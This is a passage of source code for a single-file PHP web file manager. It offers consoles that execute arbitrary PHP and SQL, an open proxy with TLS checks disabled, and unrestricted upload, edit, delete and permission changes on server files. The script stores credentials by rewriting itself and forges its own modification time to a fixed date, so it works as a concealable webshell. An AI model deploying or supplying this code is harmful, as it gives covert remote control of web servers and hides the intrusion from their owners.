  654.                         if (file_put_contents(__FILE__, $replace)) {
  655.                                 $msg .= __('File updated');
  656.                                 if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
  657.                                 if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
  658.                                 $auth = $_POST['fm_login'];
  659.                         }
  660.                         else $msg .= __('Error occurred');
  661.                         if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
  662.                 }
  663.         } elseif (isset($_POST['tpl_edited'])) {
  664.                 $lng_tpl = $_POST['tpl_edited'];
  665.                 if (!empty($_POST[$lng_tpl.'_name'])) {
  666.                         $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
  667.                 } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
  668.                         $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
  669.                 }
  670.                 if (!empty($fm_php)) {
  671.                         $fgc = file_get_contents(__FILE__);
  672.                         $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
  673.                         if (!empty($matches[1])) {
  674.                                 $filemtime = filemtime(__FILE__);
  675.                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
  676.                                 if (file_put_contents(__FILE__, $replace)) {
  677.                                         ${$lng_tpl.'_templates'} = $fm_php;
  678.                                         $msg .= __('File updated');
  679.                                 } else $msg .= __('Error occurred');
  680.                                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
  681.                         }      
  682.                 } else $msg .= __('Error occurred');
  683.         }
  684. }
  685.  
  686. // Just show image
  687. if (isset($_GET['img'])) {
  688.         $file=base64_decode($_GET['img']);
  689.         if ($info=getimagesize($file)){
  690.                 switch  ($info[2]){     //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
  691.                         case 1: $ext='gif'; break;
  692.                         case 2: $ext='jpeg'; break;
  693.                         case 3: $ext='png'; break;
  694.                         case 6: $ext='bmp'; break;
  695.                         default: die();
  696.                 }
  697.                 header("Content-type: image/$ext");
  698.                 echo file_get_contents($file);
  699.                 die();
  700.         }
  701. }
  702.  
  703. // Just download file
  704. if (isset($_GET['download'])) {
  705.         $file=base64_decode($_GET['download']);
  706.         fm_download($file);    
  707. }
  708.  
  709. // Just show info
  710. if (isset($_GET['phpinfo'])) {
  711.         phpinfo();
  712.         die();
  713. }
  714.  
  715. // Mini proxy, many bugs!
  716. if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
  717.         $url = isset($_GET['url'])?urldecode($_GET['url']):'';
  718.         $proxy_form = '
  719. <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
  720.         <form action="" method="GET">
  721.         <input type="hidden" name="proxy" value="true">
  722.         '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
  723.         <input type="submit" value="'.__('Show').'" class="fm_input">
  724.         </form>
  725. </div>
  726. ';
  727.         if ($url) {
  728.                 $ch = curl_init($url);
  729.                 curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
  730.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  731.                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
  732.                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
  733.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  734.                 curl_setopt($ch, CURLOPT_REFERER, $url);
  735.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
  736.                 $result = curl_exec($ch);
  737.                 curl_close($ch);
  738.                 //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
  739.                 $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
  740.                 $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
  741.                 echo $result;
  742.                 die();
  743.         }
  744. }
  745. ?>
  746. <!doctype html>
  747. <html>
  748. <head>    
  749.         <meta charset="utf-8" />
  750.         <meta name="viewport" content="width=device-width, initial-scale=1" />
  751.     <title><?=__('File manager')?></title>
  752. <style>
  753. body {
  754.         background-color:       white;
  755.         font-family:            Verdana, Arial, Helvetica, sans-serif;
  756.         font-size:                      8pt;
  757.         margin:                         0px;
  758. }
  759.  
  760. a:link, a:active, a:visited { color: #006699; text-decoration: none; }
  761. a:hover { color: #DD6900; text-decoration: underline; }
  762. a.th:link { color: #FFA34F; text-decoration: none; }
  763. a.th:active { color: #FFA34F; text-decoration: none; }
  764. a.th:visited { color: #FFA34F; text-decoration: none; }
  765. a.th:hover {  color: #FFA34F; text-decoration: underline; }
  766.  
  767. table.bg {
  768.         background-color: #ACBBC6
  769. }
  770.  
  771. th, td {
  772.         font:   normal 8pt Verdana, Arial, Helvetica, sans-serif;
  773.         padding: 3px;
  774. }
  775.  
  776. th      {
  777.         height:                         25px;
  778.         background-color:       #006699;
  779.         color:                          #FFA34F;
  780.         font-weight:            bold;
  781.         font-size:                      11px;
  782. }
  783.  
  784. .row1 {
  785.         background-color:       #EFEFEF;
  786. }
  787.  
  788. .row2 {
  789.         background-color:       #DEE3E7;
  790. }
  791.  
  792. .row3 {
  793.         background-color:       #D1D7DC;
  794.         padding: 5px;
  795. }
  796.  
  797. tr.row1:hover {
  798.         background-color:       #F3FCFC;
  799. }
  800.  
  801. tr.row2:hover {
  802.         background-color:       #F0F6F6;
  803. }
  804.  
  805. .whole {
  806.         width: 100%;
  807. }
  808.  
  809. .all tbody td:first-child{width:100%;}
  810.  
  811. textarea {
  812.         font: 9pt 'Courier New', courier;
  813.         line-height: 125%;
  814.         padding: 5px;
  815. }
  816.  
  817. .textarea_input {
  818.         height: 1em;
  819. }
  820.  
  821. .textarea_input:focus {
  822.         height: auto;
  823. }
  824.  
  825. input[type=submit]{
  826.         background: #FCFCFC none !important;
  827.         cursor: pointer;
  828. }
  829.  
  830. .folder {
  831.     background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNR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brnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
  832. }
  833.  
  834. .file {
  835.     background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74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HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
  836. }
  837. <?=fm_home_style()?>
  838. .img {
  839.         background-image:
  840. url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
  841. }
  842. @media screen and (max-width:720px){
  843.   table{display:block;}
  844.     #fm_table td{display:inline;float:left;}
  845.     #fm_table tbody td:first-child{width:100%;padding:0;}
  846.     #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
  847.     #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
  848.     #fm_table tr{display:block;float:left;clear:left;width:100%;}
  849.         #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
  850.         #header_table table td {display:inline;float:left;}
  851. }
  852. </style>
  853. </head>
  854. <body>
  855. <?php
  856. $url_inc = '?fm=true';
  857. if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
  858.         $res = empty($_POST['sql']) ? '' : $_POST['sql'];
  859.         $res_lng = 'sql';
  860. } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
  861.         $res = empty($_POST['php']) ? '' : $_POST['php'];
  862.         $res_lng = 'php';
  863. }
  864. if (isset($_GET['fm_settings'])) {
  865.         echo '
  866. <table class="whole">
  867. <form method="post" action="">
  868. <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
  869. '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
  870. '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
  871. '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
  872. '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
  873. '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
  874. '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
  875. '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
  876. '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
  877. '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
  878. '.fm_config_checkbox_row(__('Show').' xls','show_xls').'
  879. '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
  880. '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
  881. <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
  882. <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
  883. <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
  884. <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
  885. '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
  886. '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
  887. '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
  888. '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
  889. '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
  890. <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
  891. </form>
  892. </table>
  893. <table>
  894. <form method="post" action="">
  895. <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
  896. <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
  897. <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
  898. <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
  899. <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
  900. <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
  901. <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
  902. <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
  903. </form>
  904. </table>';
  905. echo fm_tpl_form('php'),fm_tpl_form('sql');
  906. } elseif (isset($proxy_form)) {
  907.         die($proxy_form);
  908. } elseif (isset($res_lng)) {   
  909. ?>
  910. <table class="whole">
  911. <tr>
  912.     <th><?=__('File manager').' - '.$path?></th>
  913. </tr>
  914. <tr>
  915.     <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
  916.         if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
  917.         else echo '</h2></td><td>'.fm_run_input('sql');
  918.         ?></td></tr></table></td>
  919. </tr>
  920. <tr>
  921.     <td class="row1">
  922.                 <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
  923.                 <form action="" method="POST" name="console">
  924.                 <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
  925.                 <input type="reset" value="<?=__('Reset')?>">
  926.                 <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
  927. <?php
  928. $str_tmpl = $res_lng.'_templates';
  929. $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
  930. if (!empty($tmpl)){
  931.         $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
  932.         $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
  933.         $select .= '<option value="-1">' . __('Select') . "</option>\n";
  934.         foreach ($tmpl as $key=>$value){
  935.                 $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
  936.         }
  937.         $select .= "</select>\n";
  938.         echo $select;
  939. }
  940. ?>
  941.                 </form>
  942.         </td>
  943. </tr>
  944. </table>
  945. <?php
  946.         if (!empty($res)) {
  947.                 $fun='fm_'.$res_lng;
  948.                 echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
  949.         }
  950. } elseif (!empty($_REQUEST['edit'])){
  951.         if(!empty($_REQUEST['save'])) {
  952.                 $fn = $path . $_REQUEST['edit'];
  953.                 $filemtime = filemtime($fn);
  954.             if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
  955.                 else $msg .= __('Error occurred');
  956.                 if ($_GET['edit']==basename(__FILE__)) {
  957.                         touch(__FILE__,1415116371);
  958.                 } else {
  959.                         if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
  960.                 }
  961.         }
  962.     $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
  963.     $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
  964.     $backlink = $url_inc . '&path=' . $path;
  965. ?>
  966. <table border='0' cellspacing='0' cellpadding='1' width="100%">
  967. <tr>
  968.     <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
  969. </tr>
  970. <tr>
  971.     <td class="row1">
  972.         <?=$msg?>
  973.         </td>
  974. </tr>
  975. <tr>
  976.     <td class="row1">
  977.         <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
  978.         </td>
  979. </tr>
  980. <tr>
  981.     <td class="row1" align="center">
  982.         <form name="form1" method="post" action="<?=$editlink?>">
  983.             <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
  984.             <input type="submit" name="save" value="<?=__('Submit')?>">
  985.             <input type="submit" name="cancel" value="<?=__('Cancel')?>">
  986.         </form>
  987.     </td>
  988. </tr>
  989. </table>
  990. <?php
  991. echo $auth['script'];
  992. } elseif(!empty($_REQUEST['rights'])){
  993.         if(!empty($_REQUEST['save'])) {
  994.             if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
  995.                 $msg .= (__('File updated'));
  996.                 else $msg .= (__('Error occurred'));
  997.         }
  998.         clearstatcache();
  999.     $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
  1000.     $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
  1001.     $backlink = $url_inc . '&path=' . $path;
  1002. ?>
  1003. <table class="whole">
  1004. <tr>
  1005.     <th><?=__('File manager').' - '.$path?></th>
  1006. </tr>
  1007. <tr>
  1008.     <td class="row1">
  1009.         <?=$msg?>
  1010.         </td>
  1011. </tr>
  1012. <tr>
  1013.     <td class="row1">
  1014.         <a href="<?=$backlink?>"><?=__('Back')?></a>
  1015.         </td>
  1016. </tr>
  1017. <tr>
  1018.     <td class="row1" align="center">
  1019.         <form name="form1" method="post" action="<?=$link?>">
  1020.            <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
  1021.         <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
  1022.             <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
  1023.         <?php } ?>
  1024.             <input type="submit" name="save" value="<?=__('Submit')?>">
  1025.         </form>
  1026.     </td>
  1027. </tr>
  1028. </table>
  1029. <?php
  1030. } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
  1031.         if(!empty($_REQUEST['save'])) {
  1032.             rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
  1033.                 $msg .= (__('File updated'));
  1034.                 $_REQUEST['rename'] = $_REQUEST['newname'];
  1035.         }
  1036.         clearstatcache();
  1037.     $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
  1038.     $backlink = $url_inc . '&path=' . $path;
  1039.  
  1040. ?>
  1041. <table class="whole">
  1042. <tr>
  1043.     <th><?=__('File manager').' - '.$path?></th>
  1044. </tr>
  1045. <tr>
  1046.     <td class="row1">
  1047.         <?=$msg?>
  1048.         </td>
  1049. </tr>
  1050. <tr>
  1051.     <td class="row1">
  1052.         <a href="<?=$backlink?>"><?=__('Back')?></a>
  1053.         </td>
  1054. </tr>
  1055. <tr>
  1056.     <td class="row1" align="center">
  1057.         <form name="form1" method="post" action="<?=$link?>">
  1058.             <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
  1059.             <input type="submit" name="save" value="<?=__('Submit')?>">
  1060.         </form>
  1061.     </td>
  1062. </tr>
  1063. </table>
  1064. <?php
  1065. } else {
  1066. //Let's rock!
  1067.     $msg = '';
  1068.     if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
  1069.         if(!empty($_FILES['upload']['name'])){
  1070.             $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
  1071.             if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
  1072.                 $msg .= __('Error occurred');
  1073.             } else {
  1074.                                 $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
  1075.                         }
  1076.         }
  1077.     } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
  1078.         if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
  1079.             $msg .= __('Error occurred');
  1080.         } else {
  1081.                         $msg .= __('Deleted').' '.$_REQUEST['delete'];
  1082.                 }
  1083.         } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
  1084.         if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
  1085.             $msg .= __('Error occurred');
  1086.         } else {
  1087.                         $msg .= __('Created').' '.$_REQUEST['dirname'];
  1088.                 }
  1089.     } elseif(!empty($_POST['search_recursive'])) {
  1090.                 ini_set('max_execution_time', '0');
  1091.                 $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
  1092.                 if(!empty($search_data)) {
  1093.                         $msg .= __('Found in files').' ('.count($search_data).'):<br>';
  1094.                         foreach ($search_data as $filename) {
  1095.                                 $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
  1096.                         }
  1097.                 } else {
  1098.                         $msg .= __('Nothing founded');
  1099.                 }      
  1100.         } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
  1101.         if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
  1102.             $msg .= __('Error occurred');
  1103.         } else {
  1104.                         fclose($fp);
  1105.                         $msg .= __('Created').' '.$_REQUEST['filename'];
  1106.                 }
  1107.     } elseif (isset($_GET['zip'])) {
  1108.                 $source = base64_decode($_GET['zip']);
  1109.                 $destination = basename($source).'.zip';
  1110.                 set_time_limit(0);
  1111.                 $phar = new PharData($destination);
  1112.                 $phar->buildFromDirectory($source);
  1113.                 if (is_file($destination))
  1114.                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
  1115.                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
  1116.                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
  1117.                 else $msg .= __('Error occurred').': '.__('no files');
  1118.         } elseif (isset($_GET['gz'])) {
  1119.                 $source = base64_decode($_GET['gz']);
  1120.                 $archive = $source.'.tar';
  1121.                 $destination = basename($source).'.tar';
  1122.                 if (is_file($archive)) unlink($archive);
  1123.                 if (is_file($archive.'.gz')) unlink($archive.'.gz');
  1124.                 clearstatcache();
  1125.                 set_time_limit(0);
  1126.                 //die();
  1127.                 $phar = new PharData($destination);
  1128.                 $phar->buildFromDirectory($source);
  1129.                 $phar->compress(Phar::GZ,'.tar.gz');
  1130.                 unset($phar);
  1131.                 if (is_file($archive)) {
  1132.                         if (is_file($archive.'.gz')) {
  1133.                                 unlink($archive);
  1134.                                 $destination .= '.gz';
  1135.                         }
  1136.  
  1137.                         $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
  1138.                         '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
  1139.                         .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
  1140.                 } else $msg .= __('Error occurred').': '.__('no files');
  1141.         } elseif (isset($_GET['decompress'])) {
  1142.                 // $source = base64_decode($_GET['decompress']);
  1143.                 // $destination = basename($source);
  1144.                 // $ext = end(explode(".", $destination));
  1145.                 // if ($ext=='zip' OR $ext=='gz') {
  1146.                         // $phar = new PharData($source);
  1147.                         // $phar->decompress();
  1148.                         // $base_file = str_replace('.'.$ext,'',$destination);
  1149.                         // $ext = end(explode(".", $base_file));
  1150.                         // if ($ext=='tar'){
  1151.                                 // $phar = new PharData($base_file);
  1152.                                 // $phar->extractTo(dir($source));
  1153.                         // }
  1154.                 // }
  1155.                 // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
  1156.         } elseif (isset($_GET['gzfile'])) {
  1157.                 $source = base64_decode($_GET['gzfile']);
  1158.                 $archive = $source.'.tar';
  1159.                 $destination = basename($source).'.tar';
  1160.                 if (is_file($archive)) unlink($archive);
  1161.                 if (is_file($archive.'.gz')) unlink($archive.'.gz');
  1162.                 set_time_limit(0);
  1163.                 //echo $destination;
  1164.                 $ext_arr = explode('.',basename($source));
  1165.                 if (isset($ext_arr[1])) {
  1166.                         unset($ext_arr[0]);
  1167.                         $ext=implode('.',$ext_arr);
  1168.                 }
  1169.                 $phar = new PharData($destination);
  1170.                 $phar->addFile($source);
  1171.                 $phar->compress(Phar::GZ,$ext.'.tar.gz');
  1172.                 unset($phar);
  1173.                 if (is_file($archive)) {
  1174.                         if (is_file($archive.'.gz')) {
  1175.                                 unlink($archive);
  1176.                                 $destination .= '.gz';
  1177.                         }
  1178.                         $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
  1179.                         '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
  1180.                         .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
